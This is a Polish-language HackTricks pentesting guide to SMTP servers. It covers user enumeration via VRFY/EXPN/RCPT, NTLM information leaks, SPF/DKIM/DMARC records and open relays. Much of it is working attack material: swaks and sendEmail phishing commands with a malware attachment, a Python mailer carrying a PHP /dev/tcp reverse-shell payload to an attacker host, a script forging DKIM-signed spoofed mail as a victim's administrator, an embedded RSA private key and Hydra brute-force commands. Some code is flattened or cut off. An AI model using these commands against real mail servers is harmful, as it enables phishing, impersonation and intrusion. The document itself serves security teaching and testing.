25,465,587 - Pentesting SMTP/s

Support HackTricks

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z ponad 20 narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

Podstawowe informacje

Protokół prostej wymiany poczty (SMTP) to protokół wykorzystywany w ramach zestawu TCP/IP do wysyłania i odbierania e-maili. Z powodu swoich ograniczeń w kolejkowaniu wiadomości po stronie odbiorcy, SMTP często stosuje się w połączeniu z POP3 lub IMAP. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości na serwerze pocztowym i okresowe ich pobieranie.

W praktyce powszechnie stosuje się, że programy e-mailowe wykorzystują SMTP do wysyłania e-maili, podczas gdy korzystają z POP3 lub IMAP do ich odbierania. W systemach opartych na Unixie, sendmail wyróżnia się jako najczęściej używany serwer SMTP do celów e-mailowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, Microsoft Exchange zapewnia serwer SMTP i oferuje opcję dodania wsparcia dla POP3.

Domyślny port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Jeśli masz możliwość sprawić, aby ofiara wysłała ci e-mail (na przykład za pomocą formularza kontaktowego na stronie), zrób to, ponieważ możesz dowiedzieć się o wewnętrznej topologii ofiary, oglądając nagłówki wiadomości.

Możesz również uzyskać e-mail z serwera SMTP, próbując wysłać na ten serwer e-mail na nieistniejący adres (ponieważ serwer wyśle do atakującego wiadomość NDN). Ale upewnij się, że wysyłasz e-mail z dozwolonego adresu (sprawdź politykę SPF) i że możesz odbierać wiadomości NDN.

Powinieneś również spróbować wysłać różne treści, ponieważ możesz znaleźć bardziej interesujące informacje w nagłówkach, takie jak: X-Virus-Scanned: by av.domain.com Powinieneś wysłać plik testowy EICAR. Wykrycie AV może pozwolić ci na wykorzystanie znanych luk.

Basic actions

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Znajdowanie serwerów MX organizacji

dig +short mx google.com

Enumeracja

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Ujawnienie informacji

Jeśli serwer obsługuje autoryzację NTLM (Windows), możesz uzyskać wrażliwe informacje (wersje). Więcej informacji tutaj.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or automate this with nmap plugin smtp-ntlm-info.nse

Internal server name - Information disclosure

Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy polecenie "MAIL FROM" jest wydawane bez pełnego adresu, ujawniając swoją wewnętrzną nazwę:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Sprawdź, czy możesz przechwycić jakieś hasło z pakietów do portu 25

Enumeracja Bruteforce Nazw Użytkowników

Autoryzacja nie zawsze jest potrzebna

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Narzędzia automatyczne

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z ponad 20 narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

Raporty DSN

Raporty powiadomienia o statusie dostawy: Jeśli wyślesz email do organizacji na nieprawidłowy adres, organizacja powiadomi, że adres był nieprawidłowy, wysyłając wiadomość z powrotem do Ciebie. Nagłówki zwróconego emaila będą zawierać możliwe wrażliwe informacje (takie jak adres IP usług pocztowych, które miały kontakt z raportami lub informacje o oprogramowaniu antywirusowym).

Wysyłanie emaila z konsoli linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Wysyłanie wiadomości e-mail za pomocą Pythona

Kod Pythona tutaj

```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTP Smuggling

Luka SMTP Smuggling pozwala na ominięcie wszystkich zabezpieczeń SMTP (sprawdź następny rozdział, aby uzyskać więcej informacji na temat zabezpieczeń). Aby uzyskać więcej informacji na temat SMTP Smuggling, sprawdź:

<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>

[smtp-smuggling.md](smtp-smuggling.md)

</div>

## Środki zaradcze przeciwko fałszowaniu wiadomości e-mail

Organizacje są chronione przed wysyłaniem nieautoryzowanych e-maili w ich imieniu poprzez stosowanie **SPF**, **DKIM** i **DMARC** z powodu łatwości fałszowania wiadomości SMTP.

**Pełny przewodnik po tych środkach zaradczych** jest dostępny pod adresem [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

<div data-gb-custom-block data-tag="hint" data-style='danger'>

SPF [został "wycofany" w 2014 roku](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Oznacza to, że zamiast tworzyć **rekord TXT** w `_spf.domain.com`, tworzysz go w `domain.com`, używając **tej samej składni**.\
Ponadto, aby ponownie wykorzystać wcześniejsze rekordy spf, dość powszechne jest znalezienie czegoś takiego jak `"v=spf1 include:_spf.google.com ~all"`

</div>

**Sender Policy Framework** (SPF) to mechanizm, który umożliwia agentom transferu poczty (MTA) weryfikację, czy host wysyłający e-mail jest autoryzowany, zapytując o listę autoryzowanych serwerów pocztowych zdefiniowanych przez organizacje. Lista ta, która określa adresy IP/zakresy, domeny i inne podmioty **autoryzowane do wysyłania e-maili w imieniu nazwy domeny**, zawiera różne "**Mechanizmy**" w rekordzie SPF.

#### Mechanizmy

Z [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Mechanizm | Opis                                                                                                                                                                                                                                                                                                                             |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Zawsze pasuje; używane do domyślnego wyniku, takiego jak `-all` dla wszystkich IP, które nie pasują do wcześniejszych mechanizmów.                                                                                                                                                                                                 |
| A         | Jeśli nazwa domeny ma rekord adresu (A lub AAAA), który można rozwiązać do adresu nadawcy, będzie pasować.                                                                                                                                                                                                                       |
| IP4       | Jeśli nadawca znajduje się w danym zakresie adresów IPv4, pasuje.                                                                                                                                                                                                                                                                 |
| IP6       | Jeśli nadawca znajduje się w danym zakresie adresów IPv6, pasuje.                                                                                                                                                                                                                                                                 |
| MX        | Jeśli nazwa domeny ma rekord MX, który rozwiązuje się do adresu nadawcy, będzie pasować (tj. poczta pochodzi z jednego z przychodzących serwerów pocztowych domeny).                                                                                                                                                              |
| PTR       | Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w danej domenie i ta nazwa domeny rozwiązuje się do adresu klienta (potwierdzony odwrotny DNS), pasuje. Ten mechanizm jest odradzany i powinien być unikany, jeśli to możliwe.                                                                                     |
| EXISTS    | Jeśli podana nazwa domeny rozwiązuje się do jakiegokolwiek adresu, pasuje (niezależnie od adresu, do którego się rozwiązuje). Rzadko jest używane. Wraz z językiem makr SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL.                                                                                       |
| INCLUDE   | Odnosi się do polityki innej domeny. Jeśli polityka tej domeny przechodzi, ten mechanizm przechodzi. Jednak jeśli dołączona polityka nie przechodzi, przetwarzanie trwa. Aby w pełni delegować do polityki innej domeny, należy użyć rozszerzenia przekierowania.                                                                 |
| REDIRECT  | <p>Przekierowanie to wskaźnik do innej nazwy domeny, która hostuje politykę SPF, pozwala na współdzielenie tej samej polityki SPF przez wiele domen. Jest to przydatne, gdy pracuje się z dużą ilością domen, które dzielą tę samą infrastrukturę e-mailową.</p><p>Polityka SPF domeny wskazanej w mechanizmie przekierowania będzie używana.</p> |

Możliwe jest również zidentyfikowanie **Kwalifikatorów**, które wskazują **co należy zrobić, jeśli mechanizm pasuje**. Domyślnie używany jest **kwalifikator "+"** (więc jeśli jakikolwiek mechanizm pasuje, oznacza to, że jest dozwolony).\
Zazwyczaj zauważysz **na końcu każdej polityki SPF** coś takiego jak: **\~all** lub **-all**. Używa się tego, aby wskazać, że **jeśli nadawca nie pasuje do żadnej polityki SPF, powinieneś oznaczyć e-mail jako nieufny (\~) lub odrzucić (-) e-mail.**

#### Kwalifikatory

Każdy mechanizm w polityce może być poprzedzony jednym z czterech kwalifikatorów, aby określić zamierzony wynik:

* **`+`**: Odpowiada wynikowi PASS. Domyślnie mechanizmy zakładają ten kwalifikator, co sprawia, że `+mx` jest równoważne `mx`.
* **`?`**: Reprezentuje wynik NEUTRAL, traktowany podobnie jak NONE (brak konkretnej polityki).
* **`~`**: Oznacza SOFTFAIL, stanowiąc kompromis między NEUTRAL a FAIL. E-maile spełniające ten wynik są zazwyczaj akceptowane, ale odpowiednio oznaczone.
* **`-`**: Wskazuje FAIL, sugerując, że e-mail powinien być odrzucony.

W nadchodzącym przykładzie ilustrowana jest **polityka SPF google.com**. Zauważ włączenie polityk SPF z różnych domen w pierwszej polityce SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradycyjnie możliwe było podszywanie się pod dowolną nazwę domeny, która nie miała poprawnego/żadnego rekordu SPF. Obecnie, jeśli email pochodzi z domeny bez ważnego rekordu SPF, prawdopodobnie zostanie odrzucony/oznaczony jako nieufny automatycznie.

Aby sprawdzić SPF domeny, możesz użyć narzędzi online, takich jak: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM jest wykorzystywany do podpisywania wychodzących emaili, co pozwala na ich weryfikację przez zewnętrzne Agenty Przesyłania Poczty (MTA) poprzez pobranie publicznego klucza domeny z DNS. Ten publiczny klucz znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, należy znać zarówno selektor, jak i nazwę domeny.

Na przykład, aby zażądać klucza, niezbędne są nazwa domeny i selektor. Można je znaleźć w nagłówku maila DKIM-Signature, np. d=gmail.com;s=20120113.

Polecenie do pobrania tych informacji może wyglądać następująco:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC zwiększa bezpieczeństwo e-maili, opierając się na protokołach SPF i DKIM. Określa zasady, które kierują serwerami pocztowymi w obsłudze e-maili z określonej domeny, w tym jak radzić sobie z niepowodzeniami uwierzytelniania i gdzie wysyłać raporty o działaniach związanych z przetwarzaniem e-maili.

Aby uzyskać rekord DMARC, musisz zapytać o subdomenę _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC tags

Co z subdomenami?

Z tutaj. Musisz mieć oddzielne rekordy SPF dla każdej subdomeny, z której chcesz wysyłać maile. Poniższe informacje pierwotnie opublikowano na openspf.org, które było świetnym źródłem tego typu informacji.

Pytanie Demon: Co z subdomenami?

Jeśli otrzymam maila z pielovers.demon.co.uk, a nie ma danych SPF dla pielovers, czy powinienem cofnąć się o jeden poziom i sprawdzić SPF dla demon.co.uk? Nie. Każda subdomena w Demon to inny klient, a każdy klient może mieć swoją własną politykę. Nie miałoby sensu, aby polityka Demona dotyczyła wszystkich jego klientów domyślnie; jeśli Demon chce to zrobić, może ustawić rekordy SPF dla każdej subdomeny.

Dlatego rada dla wydawców SPF jest taka: powinieneś dodać rekord SPF dla każdej subdomeny lub hosta, który ma rekord A lub MX.

Strony z rekordami A lub MX wildcard powinny również mieć rekord SPF wildcard w formie: * IN TXT "v=spf1 -all"

To ma sens - subdomena może znajdować się w zupełnie innej lokalizacji geograficznej i mieć bardzo różną definicję SPF.

Open Relay

Kiedy wysyłane są e-maile, kluczowe jest zapewnienie, że nie zostaną oznaczone jako spam. Często osiąga się to poprzez użycie serwera relay, który jest zaufany przez odbiorcę. Jednak powszechnym wyzwaniem jest to, że administratorzy mogą nie być w pełni świadomi, które zakresy IP są bezpieczne do zezwolenia. Ta niewiedza może prowadzić do błędów w konfiguracji serwera SMTP, co jest ryzykiem często identyfikowanym w ocenach bezpieczeństwa.

Obejściem, które niektórzy administratorzy stosują, aby uniknąć problemów z dostarczaniem e-maili, szczególnie w przypadku komunikacji z potencjalnymi lub obecnymi klientami, jest zezwolenie na połączenia z dowolnego adresu IP. Osiąga się to poprzez skonfigurowanie parametru mynetworks serwera SMTP, aby akceptował wszystkie adresy IP, jak pokazano poniżej:

mynetworks = 0.0.0.0/0

Aby sprawdzić, czy serwer pocztowy jest otwartym przekaźnikiem (co oznacza, że może przekazywać e-maile z dowolnego zewnętrznego źródła), powszechnie używane jest narzędzie nmap. Zawiera ono specjalny skrypt zaprojektowany do testowania tego. Polecenie do przeprowadzenia szczegółowego skanowania na serwerze (na przykład z adresem IP 10.10.10.10) na porcie 25 za pomocą nmap to:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Narzędzia

Wyślij fałszywy e-mail

Lub możesz użyć narzędzia:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Jeśli napotkasz jakikolwiek błąd podczas używania biblioteki dkim w pythonie przy analizowaniu klucza, śmiało użyj tego poniższego. UWAGA: To jest tylko brudne rozwiązanie do szybkich sprawdzeń w przypadkach, gdy z jakiegoś powodu klucz prywatny openssl nie może być analizowany przez dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Lub możesz to zrobić ręcznie:

# To wyśle niesigned wiadomośćmail("your_email@gmail.com", "Temat testowy!", "hej! To jest test", "Od: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)

Więcej informacji

Znajdź więcej informacji na temat tych zabezpieczeń w https://seanthegeek.net/459/demystifying-dmarc/

Inne wskaźniki phishingu

  • Wiek domeny

  • Linki prowadzące do adresów IP

  • Techniki manipulacji linkami

  • Podejrzane (niezwykłe) załączniki

  • Uszkodzona treść e-maila

  • Wartości używane, które różnią się od nagłówków wiadomości

  • Istnienie ważnego i zaufanego certyfikatu SSL

  • Zgłoszenie strony do witryn filtrujących treści internetowe

Ekstrakcja przez SMTP

Jeśli możesz wysyłać dane przez SMTP przeczytaj to.

Plik konfiguracyjny

Postfix

Zazwyczaj, jeśli jest zainstalowany, w /etc/postfix/master.cf zawiera skrypty do wykonania gdy na przykład nowa wiadomość jest odbierana przez użytkownika. Na przykład linia flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} oznacza, że /etc/postfix/filtering zostanie wykonane, jeśli nowa wiadomość zostanie odebrana przez użytkownika mark.

Inne pliki konfiguracyjne:

sendmail.cf
submit.cf

Odniesienia

Automatyczne polecenia HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Natychmiast dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca, korzystając z 20+ narzędzi i funkcji, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im więcej czasu na głębsze analizy, przełamywanie zabezpieczeń i zabawę.

Last updated